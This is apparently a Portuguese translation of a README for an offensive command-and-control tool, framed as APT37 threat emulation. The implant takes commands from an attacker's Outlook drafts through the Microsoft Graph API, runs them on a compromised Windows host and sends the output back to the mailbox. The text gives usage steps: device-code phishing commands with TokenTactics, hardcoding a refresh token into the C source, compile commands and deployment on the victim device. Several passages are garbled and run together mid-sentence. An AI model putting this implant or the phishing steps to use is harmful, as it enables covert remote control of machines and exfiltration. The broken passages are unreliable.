
Azure Outlook Command & Control (C2) - Controle remotamente um dispositivo Windows comprometido a partir da sua caixa de correio do Outlook. Ferramenta de Emulação de Ameaças para o APT norte-coreano InkySquid / ScarCruft / APT37. TTP: Use a API Microsoft Graph para operações de C2.
Azure Outlook Command & Control que usa a API do Microsoft Graph para comunicações C2 e exfiltração de dados.
Controle remotamente um dispositivo Windows comprometido a partir da sua Caixa de Correio do Outlook.
O Elastic Security Labs descobriu intrusões ativas na natureza usando SIESTAGRAPH. O SIESTAGRAPH interage com a GraphAPI da Microsoft para comando e controle usando Outlook e OneDrive. Confira seus incríveis blogs de análise de malware sobre comunicações Azure Outlook C2 abaixo.


Se você tiver alguma informação sobre projetos semelhantes, informações de CTI sobre esta TTP sendo usada na natureza por grupos APT/ransomware, conselhos de defesa, recomendações para Red Teamers interessados em emulação de ameaças Azure C2, ou qualquer outra informação que seria uma boa adição a este blog/readme, entre em contato comigo ou envie um Pull Request. Obrigado!
Este projeto consiste em um implante que realiza beaconing para uma caixa de correio do Azure Outlook controlada pelo Atacante, que atua como o Comando & Controle (C2); controlando remotamente o dispositivo comprometido. Um Token de Atualização do Azure para a caixa de correio C2 do Atacante é codificado no implante durante a compilação. Quando executado em um dispositivo Windows, o implante acessa a caixa de rascunhos do Atacante via a API do Microsoft Graph. O implante lê as instruções de comando da caixa de rascunhos do Atacante, executa as instruções localmente no dispositivo Windows comprometido e retorna a saída do comando ao Atacante através da criação de novas mensagens de rascunho. O implante repete este comportamento de ser controlado remotamente a partir da caixa de correio do Atacante até que o processo host do implante seja encerrado.
Recentemente comecei a fazer Red Teaming há cerca de meio ano no SpiderLabs Red Team da Trustwave. Durante um engajamento, tive a honra de trabalhar com o lendário Stephan Borosh (rvrsh3ll|@424f424f). Steve e Matt Kingstone me ensinaram tudo sobre Azure Domain Fronting, e fiquei impressionado que o tráfego de Comando & Controle poderia ser exfiltrado via HTTPS usando domínios legítimos como ajax.microsoft.com. Ele até usa os Certificados TLS da Microsoft! Infelizmente para mim, comecei no Red Teaming ao mesmo tempo que o Domain Fronting morreu no Azure. Mesmo que o Domain Fronting no Azure estivesse morto, ainda havia muitas técnicas incríveis de Red Team que poderiam ser feitas com o Azure.
Steve me apresentou ao Azure Device Code Phishing. Durante esse tempo, mergulhei fundo no Azure e na API do Microsoft Graph para Red Teaming. Criamos a ferramenta TokenTactics, derivada do ótimo trabalho do Dr. Nestori Syynimaa (@DrAzureAD), e fizemos o blog The Art of the Device Code Phish se você estiver interessado em nossa metodologia.
Enquanto criava o TokenTactics e experimentava a API do MS Graph, descobri que era possível usar a API do Microsoft Graph como um canal C2. Existem muitas maneiras diferentes de usar a API do MS Graph como um canal C2, e não sou a única pessoa (nem a primeira) a descobrir isso. VX-Underground, criado por @smelly__vx - o criador/publicador da técnica HellsGate, divulgou no mês passado que o grupo de Ameaça Persistente Avançada (APT) norte-coreano "InkySquid" (também conhecido como ScarCruft e APT37) usa a API do Microsoft Graph para operações C2. Após lançar uma prévia deste projeto no Twitter e LinkedIn, vários profissionais de DFIR comentaram que esta técnica de usar a API do Microsoft Graph para operações C2 está sendo ativamente usada por grupos de ransomware na natureza, datando de meses atrás.
Durante o engajamento de Red Team, tentei fazer o Cobalt Strike funcionar com a API do MS Graph como o canal C2. Infelizmente, falhei, mas este ainda é um objetivo futuro. O problema que enfrento para fazer isso funcionar com o Cobalt Strike é que a API do MS Graph usa 2 tokens para comunicações. O primeiro token é o Token de Atualização (Refresh Token) que pode durar até 90 dias. O segundo token, o Token de Acesso (Access Token), é um token temporário que dura cerca de uma hora. As comunicações diretas com a API do MS Graph são feitas autenticando com o Token de Acesso. Uma vez que um Token de Acesso expira, o Token de Atualização pode ser usado para obter novos Tokens de Acesso. Como ainda sou novo no Red Teaming e no desenvolvimento do Cobalt Strike, não consegui descobrir como usar o perfil Malleable C2 do Cobalt Strike para suportar a obtenção constante de novos Tokens de Acesso e o envio desses Tokens de Acesso variáveis no cabeçalho Authorization das requisições HTTPS do beacon. Desde que lancei a prévia no Twitter, Joe Vest, Alfie Champion e outras estrelas da comunidade me deram direções épicas sobre como fazer isso funcionar com o Cobalt Strike! Espero que haja um follow-up com Cobalt Strike para este projeto no futuro ;)

graph.microsoft.com.WinInet para comunicações HTTPS.cmd, sleep, exitcmd: Pega a string seguinte após o meta-comando e a executa criando um processo filho.sleep: Pega a palavra seguinte após o meta-comando e altera o sleep do implante para o valor fornecido (em milissegundos).exit: Sai/mata o processo host.cmd, o implante criará um processo filho para executar o comando, o processo filho escreverá sua saída padrão em um pipe, o processo filho termina após a execução do comando, e o processo host do implante lerá a saída do processo filho através do pipe.PS C:\Users\boku\Desktop\TokenTactics-main> Import-Module .\TokenTactics.psd1
PS C:\Users\boku\Desktop\TokenTactics-main> Get-TenantID -domain theharvester.world
1d5551a0-f4f2-4101-9c3b-394247ec7e08
char tenantId[] dentro do arquivo azureOutlookC2.c.# Importe o módulo TokenTactics na sessão PowerShell
PS C:\Users\boku> cd .\TokenTactics
PS C:\Users\boku\TokenTactics> Import-Module .\TokenTactics.psd1
# Inicie uma solicitação de device code phish para obter um 'user_code'
PS C:\Users\boku\> Get-AzureToken -Client Graph
user_code : ERDVDCNHH
user_code do TokenTactics e faça login com o usuário da caixa de correio C2.char refreshToken[] dentro do arquivo azureOutlookC2.c.void main() {
// Variáveis
char refreshToken[] = "0.AXwAoFFVHfL0AUGcOzlCR-x-CNYOWdOzUgJBrv-q0ikqsBx8ACA.AgABAAAAAA...
// ^Coloque seu refresh token aqui e compile
azureOutlookC2.c.# Compile com x64 MinGW:
bobby.cooke$ cat compile.sh
x86_64-w64-mingw32-gcc -m64 -mwindows -Os azureOutlookC2.c -o azureOutlookC2.exe -lwininet
bobby.cooke$ bash compile.sh
azureOutlookC2.exe em um Dispositivo Windows.outlook.office.com e controle o dispositivo Windows executando o implante a partir da sua caixa de correio.